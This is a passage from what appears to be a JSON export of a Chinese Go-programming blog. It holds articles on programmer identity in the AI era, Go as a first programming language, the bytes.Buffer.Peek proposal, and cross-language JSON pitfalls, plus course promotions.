Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“为什么我的字符又乱码了？！”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这是一个在软件开发历史上，曾让无数程序员彻夜难眠的哀嚎。处理文本，是编程中最基础的任务之一，但其背后关于编码 (Encoding) 和字符集 (Character Set) 的水，远比看起来要深。正如 Joel Spolsky 在其\u003ca href=\"https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/\"\u003e经典文章\u003c/a\u003e中疾呼的那样，这是每位软件开发者都必须了解的“绝对最低限度”的知识。\u003c/p\u003e","title":"string 与 rune 的设计哲学：为什么Go 程序员很少为“乱码”烦恼？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/12/the-programmer-identity-crisis\n大家好，我是Tony Bai。\n“我是一个程序员。一个编码者。一个键盘牛仔……这是我的乐趣，也是我的身份认同。”\n近日，一篇题为《程序员的身份危机》的博文在技术社区中引发了广泛的共鸣与讨论。作者Simon Højberg以一个“手艺人”的深情独白开篇，将我们带回了编程的黄金时代——那个在 MIT 26 号楼里，伴随着早期晶体管蜂鸣声，黑客们为了追求“The Right Thing”（那个完美的、简洁优雅的程序）而沉浸于机器语言的“黑暗艺术”的年代。\n然而，作者笔锋一转，指出现代 AI 浪潮正以前所未有的力量，威胁着这份传承了近 70 年的技艺（Craft）和身份认同。曾经那个充满奇迹、成就感和优雅解谜的编程未来，如今正被一层“不祥的黑暗、骗局和不确定性”所笼罩。这是一篇警示性的檄文，它迫使我们每一个技术从业者去思考一个根本性问题：当 AI 接管了“思考”，我们还剩下什么？\n“规范工程师”的崛起与“技艺”的消逝 文章尖锐地指出，如果我们相信 AI 行业的亿万富翁、Hacker News 的舆论领袖和 LinkedIn 上的 LLM 狂人，那么软件开发的未来将与“编程”本身几乎毫无关系。一种被称为 “Vibe Coding(氛围编程)” 的新模式正在成为主流。\n在这个新世界里，我们的角色被重新定义为 “规范工程师 (Specification Engineering)”：\n输入从代码到 Markdown： 我们不再是深入代码库、解决复杂谜题、发掘技术秘密的工匠，而是变成了在 Markdown 中编写规范的“需求者”。 思考过程外包： 创造性的解谜过程被全权交给了机器，我们只需在多个 AI Agent 的标签页之间进行上下文切换，拥抱一种“分散的认知”。我们从创作者，沦为了“与其技艺相分离的操作员”。 作者悲观地认为，这种转变是对程序员独特抽象思维能力的贬低，将我们推向了一个本已由产品经理和设计师占据的领域。更令人不安的是，一些开发者似乎欣然接受了这个新身份，乐于扮演“指挥管弦乐队”的史蒂夫·乔布斯，却忘记了编程的乐趣源于成为那个亲手打造乐器的沃兹尼亚克。\n当工具选择权被剥夺：来自管理的“新叙事” 这场身份危机不仅是技术演进的自然结果，更在企业内部被一股力量所推动。\n文章观察到，在“疯狂追求生产力”的竞赛中，企业的管理者们正以一种前所未有的方式，强制要求开发者使用特定的 LLM 工具——“要么遵从，要么出局”。这在历史上是罕见的。我们的工具，无论是 Vim、Emacs 还是 VS Code，都如同厨师的刀、木匠的刨，是我们精心配置、用以匹配自己思维模式的“圣殿”。而如今，这种个性化的选择权正在被自上而下地剥夺。\n作者认为，这种管理层叙事的转变，为他们提供了一种“打破过去几十年来程序员在公司中备受优待的平衡”的新方式。\n对“自然语言编程”的古老警告 一些人将 LLM 的兴起，类比于从汇编到 Fortran 的语言革命。作者强烈反对这种类比，他认为两者有本质区别：\nFortran 根植于编程： 它没有消除编程的形式化，而是扩展了其表达力和精度。 Fortran 是可预测的： 给定输入，它总能产生正确的结果。 而 LLM 及其所依赖的自然语言指令，其本质是不精确的。这与程序员所珍视的一切背道而驰：可预测性、组合性、幂等性，以及那些不会“摇摆不定”的集成测试。 LLM 生成的代码代表了这一切的反面：不一致的混乱。\n文章引用了计算机科学先驱迪杰斯特拉 (Dijkstra) 对“自然语言编程的愚蠢”的深刻批判：\n“形式化文本的美德在于，它们的操纵只需要满足少数简单的规则即可……当你思考它时，你会发现，当我们使用母语时，我们几乎不可能避免各种各样的无稽之谈，而形式化文本是一个惊人有效的工具，可以排除所有这些胡说八道。”\n我们对计算机精度的依赖和信任，或许正是我们如此轻易相信聊天机器人“言之凿凿”的原因，即使它们正在“煤气灯”般地误导我们。\n注：“煤气灯效应”（Gaslighting）是一种心理操控手段，施加者通过不断地否认事实、扭曲真相，使受害者质疑自己的记忆、感受和理智。\n认知外包的代价：丧失“理论构建”的能力 作者坦言，他发现自己在审查 LLM 生成的代码时，远不如审查自己或同事编写的代码时那么仔细。LLM 生成的代码似乎有一种天生的魔力，让人的“眼睛变得呆滞”。我们草草浏览，盲目接受，只要 CI 通过、程序能够编译，便万事大吉。直到几个小时后，才发现自己工作的基石早已腐烂。\n这种“认知外包”的代价是巨大的。它剥夺了我们与代码库深度连接的机会，剥夺了我们形成对领域、问题和解决方案深刻理解的过程。\n文章引用了 Peter Naur 的经典著作**《编程即理论构建 (Programming as Theory Building)》。Naur 认为，编程的主要产出不是软件本身，而是程序员脑中构建起的关于代码库的“理论”**——关于它如何运作、其形式化表达以及与现实世界的映射。只有具备了这个完善的“理论”，我们才能有效地对其进行扩展和修复。\n而“Vibe-Coding”那种对 AI 生成代码的“矛盾一瞥”，使得构建这种理论变得极其困难，甚至不可能。优秀的设计源于沉浸，源于在文本缓冲区中反复推敲，甚至源于离开键盘的深度思考。AI 带来的“无摩擦”工作流，恰恰让我们避开了那些本可以通过迭代和探索“丑陋方案”才能最终发现优雅设计的道路。\n小结：我愿为一名手艺人，而非操作员 文章最后，作者发出了充满个人情感的呐喊。他承认，让 AI 处理重复性的样板代码、或在文档海洋中寻找答案，并非坏事。但他**“极度不愿”**仅仅成为一个操作员或代码审查者，将有趣和创造性的工作拱手让人。\n“我想要驾驶，想要沉浸于技艺，想要在管弦乐队中演奏，想要解决复杂的谜题。我愿为一名程序员，一名手艺人。”\n作者认为，即使 LLM 达到了宣传中的高度，我们仍将失去我们之所以成为我们的根本：我们的技艺、我们的乐趣、我们与同事的连接，以及我们对所创造软件的自主理解。\n这篇文章并非全然否定 AI，而是在 AI 狂热的叙事中，为“编程”这门古老而精妙的技艺发出了一声响亮且充满尊严的捍卫。它提醒我们，工具的进步不应以抹杀思考为代价，就像技术的进步不应以剥夺人们的工作和生存权利为代价一样。作为工程师，最终提供的价值在于我们的批判性思维、解决问题的乐趣以及我们亲手打磨的技艺。这些，或许才是 AI 时代下我们真正的“护城河”。\n资料链接：https://hojberg.xyz/the-programmer-identity-crisis/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/12/the-programmer-identity-crisis/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-programmer-identity-crisis-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/12/the-programmer-identity-crisis\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/12/the-programmer-identity-crisis\"\u003ehttps://tonybai.com/2025/10/12/the-programmer-identity-crisis\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“我是一个程序员。一个编码者。一个键盘牛仔……这是我的乐趣，也是我的身份认同。”\u003c/p\u003e\n\u003cp\u003e近日，一篇题为《\u003ca href=\"https://hojberg.xyz/the-programmer-identity-crisis\"\u003e程序员的身份危机\u003c/a\u003e》的博文在技术社区中引发了广泛的共鸣与讨论。作者\u003ca href=\"https://github.com/hojberg\"\u003eSimon Højberg\u003c/a\u003e以一个“手艺人”的深情独白开篇，将我们带回了编程的黄金时代——那个在 MIT 26 号楼里，伴随着早期晶体管蜂鸣声，黑客们为了追求“The Right Thing”（那个完美的、简洁优雅的程序）而沉浸于机器语言的“黑暗艺术”的年代。\u003c/p\u003e","title":"从“键盘牛仔”到“规范工程师”，AI 浪潮下的程序员身份危机"},{"content":"Go 作为第一门编程语言：天才之选还是糟糕开端？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo 作为第一门编程语言：天才之选还是糟糕开端？ 十月 11, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/11/go-is-a-good-first-programming-language\n大家好，我是Tony Bai。\n近日，在 r/golang 社区，一个初学者的真诚提问，再次点燃了一场关于 Go 是否适合作为入门语言的激烈辩论。他很困惑：“为什么很多经验丰富的开发者说 Go 不适合作为第一门编程语言，而很多大学却用与之相似的 C 语言作为第一门编程语言呢？”\n这个问题，如同一块探针，深入到了编程教育的核心分歧之中，并迅速将社区观点分裂为两大阵营。一方认为，Go 能从第一天起就培养严谨的工程思维，堪称**“天才之选”。另一方则认为，它的定位不上不下，对初学者而言是一个“糟糕的开端”**。\n那么，真相究竟为何？为了厘清思路，让我们深入这场辩论，分别听取两大阵营的观点，并审视其背后的根本分歧：我们学习编程，到底是为了什么？\n观点一：Go 是一个“糟糕的开端” 这一方的核心论点是：Go 语言陷入了一个尴尬的“中间地带”，对于编程教育的两个主要目标，它都未能完美胜任。\n论据一：Go 不够底层，无法胜任“计算机科学基础教育” 这一方的支持者指出，大学 CS 教育的首要目标，是培养学生对计算机工作原理的深刻理解。在这个目标下，C 语言之所以是“黄金标准”，恰恰在于它的“不友好”：\n直面内存：手动 malloc/free 和危险的指针算术，迫使学生直面内存布局、栈与堆等核心概念。 最小化抽象：学生必须从零开始构建数据结构，这个过程能让他们对算法的理解建立在物理实现之上。 而Go 的垃圾回收 (GC) 机制，虽然是工程上的巨大进步，但在教育上却成了一个“黑盒”，完全隐藏了内存管理的复杂性。它让学生“知其然”，却无法“知其所以然”，因此无法胜任传授底层原理的重任。\n论据二：Go 不够“温柔”，无法胜任“快速入门与兴趣培养” 接着，这一方展示了另一个极端——以 Python 为代表的“实战派”入门语言。这类语言的目标是让初学者尽快体验到编程的乐趣和效用。\n语法“温柔”：Python 的语法接近伪代码，极大地降低了入门的认知门槛。 快速反馈：作为解释型语言，其“编写即运行”的交互式体验，对维持初学者的学习热情至关重要。 尽管 Go 也以简单著称，但其静态类型、编译周期、以及对项目结构的规范要求，都为纯粹的初学者制造了不必要的“摩擦力”。与 Python 相比，它不够“温柔”，可能会在入门阶段就劝退一部分学习者。\n由此来看，Go 既不像 C 那样能让你深入底层，又不像 Python 那样能让你轻松起步。它是一个尴尬的“中间派”，对于任何一个明确的教学目标来说，都有比它更好的选择。因此，它是一个“糟糕的开端”。\n观点二：Go 是一个“天才之选” 另一方的核心论点是：观点一中所说的“中间地带”并非尴尬，而是一个经过深思熟虑、精心设计的“甜蜜点” (sweet spot)。Go 的目标，不是培养纯粹的理论家或业余爱好者，而是从第一天起，就为培养专业的“软件工程师”奠定基础。\n论据一：Go 教授的是“更重要”的底层原理 观点二的支持者承认 Go 隐藏了手动内存管理的细节，但他们认为，在 2025 年的今天，这部分细节的教学价值正在下降。相反，Go 教授了更现代、更重要的底层概念：\n安全的指针哲学：Go 保留了指针，让学生能够深刻理解**“引用 vs. 值”**这一核心概念，这是理解程序性能和行为的关键。同时，它通过移除指针算术，杜绝了 C 语言中最常见的一类安全漏洞。 并发是第一性原理：他们强调，现代计算的核心是并发。Go 将 goroutine 和 channel 作为内建特性，让学生能够以一种前所未有的简洁方式，去接触和理解并发这一现代计算机科学的基石。 Go 并非不教底层，而是有选择地教授那些在现代软件工程中依然至关重要的底层概念，同时将那些日益自动化、易出错的细节（如手动内存管理）抽象掉。\n论据二：Go 的“摩擦力”恰恰是良好工程习惯的开端 观点二的支持者认为，观点一所说的“摩擦力”，实际上是宝贵的“纪律训练”：\n静态类型：不是负担，而是一张安全网，它教会学生思考数据的结构和契约。TypeScript逐步超越JavaScript就是一个静态类型取得胜利的明证。 显式错误处理：if err != nil 不是样板代码，而是对健壮性最深刻的、日复一日的训练。它让学生明白，失败是程序中正常的一部分，必须被认真对待。 编译周期：不是障碍，而是专业开发流程的预演，教会学生区分构建时和运行时。 Go 的设计，完美地平衡了抽象与细节。它既能让学生快速构建出实际的应用（比如一个简单的 Web 服务器），又在整个过程中不断地、潜移默化地向他们灌输专业的工程思想。它不是在教“编程”，而是在教“软件工程”。因此，对于立志成为专业工程师的学习者来说，它是一个**“天才之选”**。\n小结：目标决定了最佳路径 至此，辩论的脉络已经清晰。这场争论没有绝对的赢家，因为双方的论点都建立在各自合理的目标之上。\n最终的结论是：这取决于你的目标。\n如果你的目标是成为一名计算机科学家，深入理解机器的每一个齿轮如何运转，那么从 C 开始的“苦修”或许无法绕开。 如果你的目标是快速体验编程的乐趣、尽快构建应用，那么 Python 或 JavaScript 可能会为你提供一条更平坦、更愉悦的道路。 而 Go，则为那些从一开始就立志于成为一名专业、高效、能构建并发系统的现代软件工程师的学习者，提供了一条无与伦比的捷径。 它或许不是最完美的“第一站”，但对于目标明确的人来说，它是一个能让你赢在起跑线上的**“天才之选”**。它将“学习编程”与“成为一名软件工程师”这两个阶段，以前所未有的方式紧密地结合在了一起。\n资料链接：https://www.reddit.com/r/golang/comments/1nvbrv8/im_confused_as_to_why_experienced_devs_say_go_is/\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/11/go-is-a-good-first-programming-language/","summary":"\u003ch1 id=\"go-作为第一门编程语言天才之选还是糟糕开端---tony-bai\"\u003eGo 作为第一门编程语言：天才之选还是糟糕开端？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Go 作为第一门编程语言：天才之选还是糟糕开端？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/10/proposal-add-buffer-peek\n大家好，我是Tony Bai。\n在 Go 的世界里，io.Reader 是一个神圣的接口。它如同一条设计精良、四通八达的高速公路，为数据流的传输提供了统一、优雅的抽象。然而，在这条高速公路的尽头，当数据流的目的地就在眼前——一块已然存在的内存（[]byte）时，我们却常常被迫驶下一条颠簸、缓慢的“土路”，进行一次本可避免的内存拷贝。\n这个从 []byte 到 io.Reader 再回到 []byte 的性能损耗，正是 Go io 体系中长期存在的**“最后一公里”**问题。\n近期，一个看似微小却意义深远的提案（#73794: bytes: add Buffer.Peek）被社区纳入提案委员会的考察范围(Active)，它标志着 Go 团队为铺平这条“最后一公里”迈出了务实而关键的一步。这背后，是一场长达数年、关于性能、抽象与设计哲学的深度思辨。\n“最后一公里”的痛点：当 io.Reader 遭遇 []byte 问题的根源，正如开发者 Ted Unangst 在其广为流传的文章《Too Much Go Misdirection》中所抱怨的那样：\n“我手里明明已经有了一份完整的 []byte 数据，但许多标准库函数（如 image.Decode）却只接受一个 io.Reader 接口。为了满足这个接口，我不得不将 []byte 包装成一个 bytes.Reader。结果，本应可以零拷贝完成的操作，却因为这层“中间商”，被迫进行了一次代价高昂的内存拷贝。”\nimage.Decode 的工作机制完美地暴露了这个问题：为了确定图片格式，它需要“窥探”(peek) 数据流的头部几个字节。如果传入的 io.Reader 没有 Peek 方法，image.Decode 就会用 bufio.NewReader 将其包裹起来，这个过程必然涉及数据的拷贝。\n不幸的是，bytes.Reader 和 bytes.Buffer 这两个最常用的、基于内存的 io.Reader 实现，长期以来都缺少一个 Peek 方法。这使得无数 Gopher 的“零拷贝之梦”在这“最后一公里”上戛然而止，甚至催生了使用 unsafe 包来“强行”获取底层字节切片的黑魔法，只为绕开这层不必要的抽象。\n科普角：io 体系中的“窥探”艺术 在深入探讨提案之前，让我们先厘清几个核心的 io 操作概念，它们是铺平“最后一公里”所需的关键工具：\nRead(p []byte): 这是 io.Reader 的核心。它从数据源读取数据并填充到调用者提供的 p 切片中，同时消耗掉源头的数据。 Peek(n int): “窥探”。它返回接下来的 n 个字节，但不消耗它们。下一次 Read 操作依然能读到这些字节。这对于需要根据数据头部信息来决定下一步操作的解析器（如 image.Decode）至关重要。 Discard(n int): “丢弃”。它直接消耗掉接下来的 n 个字节，但不把它们复制到任何地方。这通常与 Peek 配合使用：先 Peek 数据进行分析，然后 Discard 掉已经分析过的部分。 Peek + Discard 的组合，是实现高性能、零拷贝流式处理的关键。\n第一次尝试：宏大的 io.ReadPeeker 接口（#63548） 社区为铺平“最后一公里”的第一次尝试是宏大的、雄心勃勃的。提案 #63548 建议在 io 包中定义一个全新的标准接口：\ntype ReadPeeker interface { io.Reader Peek(n int) ([]byte, error) } 其目标是为所有支持“窥探”的 io.Reader 提供一个统一的、可供类型断言的契约，从而在标准库层面建立起“零拷贝读取”的通用范式。\n然而，这个看似完美的“高速公路”方案，却在深入讨论中陷入了泥潭。Go 核心团队，包括 Russ Cox (rsc)，提出了一系列极其棘手的现实问题：\n缓冲区的模糊性：Peek(n) 时，如果内部缓冲区不足 n 字节，应该怎么做？是返回一个短读取，还是尝试从底层 Reader 读取更多数据？ 错误的定义：如果 n 太大，超出了缓冲区的最大容量，应该返回什么错误？ErrBufferFull 的定义和行为该如何统一？Russ Cox 尖锐地指出：“如果一个实现只能 Peek 2 个字节，但你需要 1536 个字节，会发生什么？这似乎让客户端代码总是需要包裹一层 fallback 逻辑，非常笨拙。” API 的完备性：是否还需要一个 Buffered() 方法来告知调用者可以安全 Peek 的最大字节数？但 bufio.Reader 的 Buffered() 并非 Peek 的上限，这又引入了新的不一致。 由于无法就这些细节达成一个足够简单、清晰且无歧义的共识，rsc 最终以“这感觉还没有找到正确的路径”(This all seems not quite there yet) 为由，最终将这个宏大的提案标记为**[decline]**。这次“失败”深刻地揭示了 Go 团队的设计原则：宁缺毋滥。一个不够完美的标准接口，比没有这个接口更糟糕。\n第二次尝试：务实的 bytes.Buffer.Peek（#73794） 在宏大的方案搁浅后，社区回归了更务实的思考。提案 #73794 不再追求修建一条完美的“超级高速公路”，而是聚焦于修复那条最常用、最拥堵的“最后一公里”路段：让 bytes.Buffer 支持 Peek。\n// 提案的核心：为 bytes.Buffer 增加一个 Peek 方法 func (b *Buffer) Peek(n int) ([]byte, error) 这个提案的讨论过程要顺利得多，但也并非没有争议。其中最核心的权衡和63548提案其实是一样的，都聚焦于安全性与一致性：\n反对者的声音：bytes.Reader 的一个隐性优点是其内容的“事实不可变性”。一旦为其添加 Peek，就会暴露其底层 []byte，一个“淘气的用户”可能会修改这个切片，从而破坏 Reader 的状态。这不仅带来了安全隐患，也使得 bytes.Reader 与完全不可变的 strings.Reader 在 API 设计上出现了不对称。 支持者的反驳：社区很快指出，这种“事实不可变性”早已被打破。通过 bytes.Reader.WriteTo 方法和一个特制的 io.Writer，已经可以在不使用 unsafe 的情况下获取并修改其底层切片。因此，增加 Peek 并非引入新的风险，只是将一个隐晦的“后门”变成了一个明确的、有用的 API。 最终，务实主义战胜了理论上的纯粹性。Go 团队认为，为这个极其常见的用例提供便利，其收益远大于它所带来的、本就存在的微小风险。这个小而美的提案最终得到了提案委员会的青睐。\n小结：对我们日常开发者的启示 bytes.Buffer.Peek 的诞生故事，是理解 Go 语言设计哲学的一面绝佳棱镜。它告诉我们，Go 的世界里，优雅的抽象是准则，但务实的性能是现实。对于我们日常的 API 设计而言，这个故事同样富有启发：\n考虑提供双重 API：在针对“too much go misdirection”一文的Hacker News 的讨论中，一个被反复提及的观点是，一个好的 API 应该同时接受 []byte 和 io.Reader。标准库的 encoding/json 就是这样做的。这允许用户在拥有完整数据时选择最高效的路径，在处理流数据时选择最具弹性的路径。\n编写“窥探感知”的函数：当你设计的函数接受 io.Reader 时，可以借鉴 image.Decode 的模式：首先通过类型断言检查传入的 Reader 是否已经实现了 Peeker 接口。如果是，就直接使用其高性能的 Peek 方法；如果不是，再用 bufio.NewReader 将其包裹起来作为 fallback。\n理解“特殊优待”是 Go 的一部分：Go 标准库充满了对特定类型（如 *bytes.Buffer, *bytes.Reader, *strings.Reader）的“特殊优待”。例如，http.Client 在处理请求体时，会检查 body 是否是这几种类型，以便获取 Content-Length 或实现请求重试。这并非设计缺陷，而是 Go 在通用性与现实世界性能需求之间取得平衡的务实之道。\n后续如果bytes.Buffer.Peek 成功加入标准库，虽然只是标准库中一个微小的改动，但它成功地铺平了 Go io 体系中最常见的一段“最后一公里”。\n参考资料 https://github.com/golang/go/issues/73794 https://news.ycombinator.com/item?id=44031009#44036152 https://flak.tedunangst.com/post/too-much-go-misdirection https://github.com/golang/go/issues/63548 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/10/proposal-add-buffer-peek/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-add-buffer-peek-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/10/proposal-add-buffer-peek\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/10/proposal-add-buffer-peek\"\u003ehttps://tonybai.com/2025/10/10/proposal-add-buffer-peek\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 的世界里，io.Reader 是一个神圣的接口。它如同一条设计精良、四通八达的高速公路，为数据流的传输提供了统一、优雅的抽象。然而，在这条高速公路的尽头，当数据流的目的地就在眼前——一块已然存在的内存（[]byte）时，我们却常常被迫驶下一条颠簸、缓慢的“土路”，进行一次本可避免的内存拷贝。\u003c/p\u003e","title":"Go 零拷贝“最后一公里”：Peek API背后的设计哲学与权衡"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/09/json-isnt-json\n大家好，我是Tony Bai。\nJSON (JavaScript Object Notation)，以其简洁、轻量、人类可读的特性，早已成为 Web API 和系统集成的“通用语”。它的承诺是：“一次编写，随处解析”。然而，这份看似美好的承诺背后，隐藏着一个被许多开发者忽略的残酷现实：JSON 并不像其规范所暗示的那样通用。\n它的简约性，恰恰为其留下了太多“解释空间”。当 JavaScript 前端、Go 后端、Python 数据管道、以及 Java 企业服务开始以各自的方式“解释”同一个 JSON 时，一个现代版的“巴别塔”便悄然建起：每个人都在说 JSON，但每个人表达的意思却可能不尽相同。\n这篇文章，是一份为 Go 开发者量身定制的“防御指南”，将为你全面揭示 JSON 在跨语言环境中最隐蔽、最危险的几大陷阱，并展示如何利用 Go 的特性（包括实验性的 json/v2）来构建坚不可摧的防线。\n陷阱一：数字精度 —— 无声的整数溢出 这是 JSON 跨语言中最常见、也最致命的陷阱。\n问题根源：JavaScript 将所有数字都表示为 64 位浮点数，其能精确表示的最大安全整数是 Number.MAX_SAFE_INTEGER (2^53 – 1)。任何超过这个值的整数，都会在解析时无声地丢失精度。\n{ \u0026#34;id\u0026#34;: 9007199254740993 } 在 JavaScript 中，JSON.parse 会得到 9007199254740992 (错误！)。 在 Python 或 Java 中，则能正确解析。 Go 的 encoding/json (v1) 在处理数字时，若反序列化到 interface{}，会默认将所有 JSON 数字解析为 float64，从而掉入和 JavaScript 同样的精度陷阱。\nv1 陷阱： // demo1/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { jsonData := []byte({\u0026#34;id\u0026#34;: 9007199254740993}) var data map[string]interface{} json.Unmarshal(jsonData, \u0026amp;data) // id 被解析为 float64，精度丢失！ fmt.Printf(\u0026#34;v1 with interface{}: %.0f\\n\u0026#34;, data[\u0026#34;id\u0026#34;]) // 输出: 9007199254740992 } v2 行为：Go 1.25版本引入的实验性的 encoding/json/v2 在此行为上与 v1 保持一致，反序列化到 any 时同样默认使用 float64。 Go 防御指南：\n首选强类型结构体：这是最根本的解决方案。始终使用带有明确整型（如 int64）的结构体来反序列化。 go var typed struct { ID int64 json:\u0026#34;id\u0026#34; } json.Unmarshal(jsonData, \u0026amp;typed) fmt.Println(typed.ID) // 输出: 9007199254740993 拥抱“数字即字符串”：对于所有需要跨语言传递的、可能会超过 2^53 – 1 的整数 ID（如数据库自增 ID），最佳实践是在 API 层面约定俗成地使用字符串类型。 陷阱二：浮点数运算 —— 0.1 + 0.2 ≠ 0.3 这个问题并非 JSON 独有，而是 IEEE 754 浮点数标准的“天性”。由于计算机使用二进制表示数字，像 0.1 这样的十进制小数无法被精确表示，只能存储一个近似值。当 JSON 依赖于各语言的默认数字实现时，这个问题在跨语言交互中就会被放大。\n{ \u0026#34;price\u0026#34;: 0.1 } Go 的 encoding/json（包括 v1 和实验性的 v2）在反序列化 JSON 时，默认会将带小数点的数字解析为 float64 类型，这使得 Go 程序同样会遇到和 JavaScript 一样的精度问题：\n// demo2/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { // 包含浮点数的 JSON jsonData := []byte({\u0026#34;price\u0026#34;: 0.1}) // 定义一个结构体，使用 float64 来接收 price 字段 var product struct { Price float64 json:\u0026#34;price\u0026#34; } // 反序列化 if err := json.Unmarshal(jsonData, \u0026amp;product); err != nil { panic(err) } // 单独打印时，浮点数通常会以最短、最精确的十进制形式显示 fmt.Println(\u0026#34;Parsed price:\u0026#34;, product.Price) // 当进行算术运算时，其底层的二进制不精确性就会暴露出来 result := product.Price + 0.2 fmt.Println(\u0026#34;product.Price + 0.2 =\u0026#34;, result) // 为了对比，直接在 Go 中进行浮点数运算 fmt.Println(\u0026#34;0.1 + 0.2 directly in Go =\u0026#34;, float64(0.1)+float64(0.2)) } 输出：\nParsed price: 0.1 product.Price + 0.2 = 0.30000000000000004 0.1 + 0.2 directly in Go = 0.30000000000000004 这个例子清晰地表明，问题不在于 JSON 解析本身，而在于使用 float64 进行后续计算。对于金融、科学计算等要求精确的场景，这种微小的误差累积起来可能是致命的。\nGo 防御指南：\n永远不要使用 float64 来处理货币或任何要求精确计算的场景。 建议大家遵循以下模式：\n使用字符串传输：在 JSON 中将金额表示为字符串（如 “19.99″），在 Go 中使用 github.com/shopspring/decimal 或 math/big.Rat 等高精度库进行处理。 使用整数单位：将金额转换为最小单位的整数（如“分”）进行传输和计算，例如用 1999 代表 19.99 元。这是在工程实践中非常常见且高效的解决方案。 陷阱三：Unicode 规范化 —— 看似相同的“José” Unicode 允许同一个字符（如 é）有多种字节表示方式（单一码点 vs. 组合形式）：\n单一码点: U+00E9 (é) 组合形式: U+0065 U+0301 (e + ́) 显然，这两种编码形式的字节序列和长度都不同。但在视觉上的呈现却完全相同，都是é。不过，如果直接比较，会返回 